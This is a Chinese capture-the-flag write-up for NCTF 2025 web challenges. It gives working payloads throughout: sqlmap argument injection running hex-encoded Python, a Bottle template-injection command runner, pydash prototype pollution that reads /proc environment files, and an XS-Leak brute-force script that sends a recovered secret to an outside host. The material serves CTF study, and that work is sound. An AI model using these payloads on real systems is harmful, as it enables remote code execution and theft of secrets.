nctf 2025 web wp

这周真的很忙,sm学校还要段考我草。这CTF也是就随便糊弄糊弄了(还好web简单)。最终还是给队友大佬带上来了。极限三等((
sqlmap_master
from fastapi import FastAPI, Request
from fastapi.responses import FileResponse, StreamingResponse
import subprocess
app = FastAPI()
@app.get("/")
async def index():
return FileResponse("index.html")
@app.post("/run")
async def run(request: Request):
data = await request.json()
url = data.get("url")
if not url:
return {"error": "URL is required"}
command = f'sqlmap -u {url} --batch --flush-session'
def generate():
process = subprocess.Popen(
command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)
while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
break
if output:
yield output
return StreamingResponse(generate(), media_type="text/plain")
这种题据我的经验一般看开发手册啥的没啥用(他们大概不会教你怎么用自己的工具RCE吧)所以我都是直接去看源码的。
找一份sqlmap直接从传参那里看。在lib/prase/cmdline.py的cmdLineParser函数里。(可以自己跑一遍sqlmap然后打断点跟进看看它是怎么处理你的参数的)
然后注意到:

request.add_argument("--eval", dest="evalCode",
help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
到这里其实就很简单了。后边如果你想去调试的话可以接着打断点调看看这个语句到底在哪里执行的。易得payload:
127.0.0.1?id=1 --eval=exec(bytes.fromhex('5F5F696D706F72745F5F28276F7327292E73797374656D2827656E762729'))
这里用fromhex转是为了避免一些编码问题。
另一种做法是-c参数

target.add_argument("-c", dest="configFile",
help="Load options from a configuration INI file")
其实--proxy-file之类的也可以读取文件。所以从这里看不出什么端倪。得去往下调试。-c是唯一一个可以把整个文件读取出来的。--proxy-file他读不到http这种他就会报错,而不会读取文件内容。
127.0.0.1?id=1 -c /proc/1/environ
ezdash
'''
Hints: Flag在环境变量中
'''
from typing import Optional
import pydash
import bottle
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True
@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}","."]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)
这题出糊了(((在/render路由里可以使用<%%>语法打SSTI的非预期。我们可以在simple template的官网看到

所以我们可以直接RCE。
我看到最常见的思路是去打内存马,即注册一个RCE的路由。但是bottle里有一个abort函数。可以直接返回状态码和一个信息。这里选择使用bottle里的abort来回显。思路如下:
from subprocess import grtoutput
from bottle import abort
a = getoutput('env')
abort(404, a)
这样就可以在不使用.的条件下回显我们执行的命令。
合并一下就是:
<%%20from%20bottle%20import%20abort%0afrom%20subprocess%20import%20getoutput%0aa=getoutput("env")%0aabort(404,a)%20%>
然后打就完了。
payload:
GET /render?path=<%%20from%20bottle%20import%20abort%0afrom%20subprocess%20import%20getoutput%0aa=getoutput("env")%0aabort(404,a)%20%>
ezdash_revenge
'''
Hints: Flag在环境变量中
'''
from typing import Optional
import pydash
import bottle
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True
@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)
waf这次是禁止全了。我们采用pydash原型链污染的方式打。
首先我们要去污染bottle。但是有__forbidden_name__的waf。所以不能直接找到bottle的object。那就只能靠别的类或方法找__globals__去找全局变量里的bottle object。我们尝试使用如下payload:
POST /setValue?name=setval HTTP/1.1
{
"path": "__globals__.bottle",
"value": 111
}
尝试直接使用setval这个func的__globals__去找bottle。但是被waf了。我们在try那里改一下报错逻辑,并打个断点看看。

然后去再打一遍如上payload。发现报错如下:

我们跟进这个报错,找到_raise_if_restricted_key函数。发现这就是一个pydash内置的检查函数。逻辑如下:
def _raise_if_restricted_key(key):
# Prevent access to restricted keys for security reasons.
if key in RESTRICTED_KEYS:
raise KeyError(f"access to restricted key {key!r} is not allowed")
可以看到有个黑名单。其中RESTRICTED_KEYS是一个常量。F12跟进一下:

那么我们在断点的调试界面里找RESTRICTED_KEYS

可以看到位于pydash.helpers.RESTRICTED_KEYS
那么我们可以先把pydash.helpers.RESTRICTED_KEYS污染了,就可以拿到__globals__从而找到bottle了。
payload:
POST /setValue?name=pydash HTTP/1.1
{
"path": "helpers.RESTRICTED_KEYS",
"value": "never gonna give you up"
}

成功污染。
再打一次上述setval找__globals__的payload。我们尝试往__globals__里塞一个变量看看。
POST /setValue?name=setval HTTP/1.1
{
"path": "__globals__.aaa",
"value": 111
}
打断点看看

winwinwin
随后我们看看bottle有啥好改的。因为我们可以直接render任意template,所以就聚焦在template上就行了。
这里不难注意到:

这个TEMPLATE_PATH有点意思。我们跟进看看。

可以看到TEMPLATE_PATH就是bottle在lookup查找template时的路径。它也是一个常量,定义如下:

我们往里面加一个/proc/1/他就会从/proc/1/里找template。随后我们render的时候参数输入environ。它就会以为/proc/1/environ是一个模板,render之后给我们返回。我们就能从环境变量里看到flag
payload:
POST /setValue?name=setval HTTP/1.1
{
"path": "__globals__.bottle.TEMPLATE_PATH",
"value": ["./","./views/",
"/proc/self/"
]
}
随后直接render?path=environ即可
internal_api
是一个很基础的XSLEAK。我们能找到一篇文章:
https://blog.csdn.net/allway2/article/details/126703565

到这我觉得应该都会了(((
搓一个POC看看:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Error-Based Attack</title>
</head>
<body>
<script>
function checkError(url) {
let script = document.createElement('script')
script.src = url
script.onload = () => window.open("http://101.43.48.199:8000/1");
script.onerror = () => window.open("http://101.43.48.199:8000/2");
document.head.appendChild(script)
}
checkError('http://0.0.0.0:8000/internal/search?s=nctf{')
checkError('http://0.0.0.0:8000/internal/search?s=somethingwrong')
</script>
</body>
</html>
显然该flag字符串含有nctf{,因此第一次查询的时候能查到,触发onload,访问到/1。第二次是我随便写的,flag字符串里不含有somethingwrong,因此返回错误的状态码,触发onerror,访问到/2
vps起一个这个服务,让bot访问一下看看。

POC成立。
随后就是逐字符爆破即可
exp:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Error-Based Attack</title>
</head>
<body>
<script>
let currentFlag = "nctf{";
const chars = "abcdef0123456789-{}";
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function checkCharacter(char) {
return new Promise((resolve) => {
let script = document.createElement('script');
script.src = `http://0.0.0.0:8000/internal/search?s=${currentFlag}${char}`;
script.onload = () => {
document.head.removeChild(script);
resolve(true);
};
script.onerror = () => {
document.head.removeChild(script);
resolve(false);
};
document.head.appendChild(script);
});
}
async function bruteforce() {
try {
while (!currentFlag.endsWith('}')) {
for (let char of chars) {
const isCorrect = await checkCharacter(char);
if (isCorrect) {
currentFlag += char;
window.open(`http://VPS:8000/?flag=${currentFlag}`);
await sleep(50);
break;
}
await sleep(50);
}
}
} catch (error) {
window.open(`http://VPS:8000/?error=${currentFlag}`);
}
}
bruteforce();
</script>
</body>
</html>
VPS起服务,bot访问

写在后面
这次真没怎么好好打。尤其是internal_api那个题。那个题放hint的时候我已经去学校了(单休)5:30放学回来看这题已经被打烂掉才去看的XSLEAK。最后还搞得我数学周考迟到(((但是很有趣的是我着急忙慌地把POC搓出来了,然后扔给我做re和pwn的队友,他们居然顺着我的POC把exp写出来了,简直就是大王。
最后附一个队名的来源(笑):


浙公网安备 33010602011771号